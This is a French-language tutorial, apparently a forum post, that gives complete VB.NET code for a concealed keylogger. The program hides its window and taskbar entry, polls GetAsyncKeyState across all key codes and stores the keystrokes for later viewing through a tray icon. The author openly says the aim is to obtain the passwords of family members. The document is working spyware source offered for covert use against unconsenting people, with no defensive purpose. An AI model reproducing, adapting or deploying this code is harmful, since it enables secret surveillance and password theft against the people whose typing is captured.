je vais vous expliquez comment faire un enregistreur de frappe.^^

pour trouver le mot de passe de votre frère, votre mère, votre grand-père ou votre hamster...

Il faut:

-1 Form (Config: ShownInTaskbar=False; RightToLeftLayout=True; FormBorderStyle=None; Size=0; 0)

-1 Textbox (Config: visible=False) (Ancrer le textbox en fessant un clique sur le petit carré avec un triangle dessus)

-2 Timer (Config T1: Enabled=True; Interval=2) (Config T3: Enabled=True; Interval=100)

-1 NotifyIcon (Config: Icon=[votre Icône Windows)

-1 Icône windows de préférence

KDO:

un lien vers un site plein d'icône cool:

->Lien<- (lien icone windows)

et c'est partit pour le code... u_u

double clique sur la form pour afficher le code (oublier pas que il y a les textbox dessus, donc retirez le le temps de mettre le code) et au dessus, donc après Public Class [votre form]:

Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

et dans l'handle (le code form_load):

Timer1.Start()
        Timer2.Start()
        Me.Visible = False

maintenant double clique sur le timer1 pour afficher le code et on met dedans :

For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i) ' on ajout le caractère qui est envoyé par le clavier à la suite de deux déjà capté
            End If
        Next i

Double clique sur le NotifyIcon1 pour afficher le code et on met dedans :

Me.WindowState = FormWindowState.Normal
        Me.Height = 300 ' hauteur
        Me.Width = 300 'largeur
        Me.ShowInTaskbar = True 'affichage dans la barre de tâche
        Me.FormBorderStyle = Windows.Forms.FormBorderStyle.Sizable ' style de bords...
        Me.Visible = True ' si on l'affiche
        TextBox1.Visible = True ' si on affiche les caractères masqués
        Me.AllowTransparency = False
        Me.RightToLeft = Windows.Forms.RightToLeft.Inherit
        Me.Show()

Double clique sur le Timer2 pour afficher le code et on met dedans :

 If Me.WindowState = FormWindowState.Minimized Then 'on test l'état de la fenêtre
            Me.Height = 0 'plein de paramètre chiant à expliquer
            Me.Width = 0
            Me.ShowInTaskbar = False
            Me.FormBorderStyle = Windows.Forms.FormBorderStyle.None
            Me.Visible = False
            TextBox1.Visible = False
            Me.AllowTransparency = True
            Me.RightToLeft = Windows.Forms.RightToLeft.Inherit
            'code by Mars073
        End If

si vous cliquez sur play pour tester le programme il ne marchera par forcément, il faut le publier... les frappes ne sont pas très facile a lire mais d-quand on clique du effacer, ça ne supprime pas le texte enregistré.^^

Et quand on a fini on fait un double clique sur l'icône et le texte enregistré.

Bonne programmation à tous!

Cordialement,

Mars073